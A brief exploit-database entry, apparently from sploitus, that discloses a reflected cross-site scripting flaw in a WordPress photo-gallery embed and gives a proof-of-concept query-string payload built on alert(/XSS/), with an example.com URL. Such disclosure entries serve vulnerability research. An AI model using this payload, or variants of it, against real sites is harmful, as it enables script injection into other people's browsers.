## https://sploitus.com/exploit?id=WPEX-ID:6740C33E-9FD1-4D50-A6EF-B4F04A1004FD On a page where there is a gallery embed, append a'-alert(/XSS/)//=1 e.g: https://example.com/photo-gallery/?a'-alert(/XSS/)//=1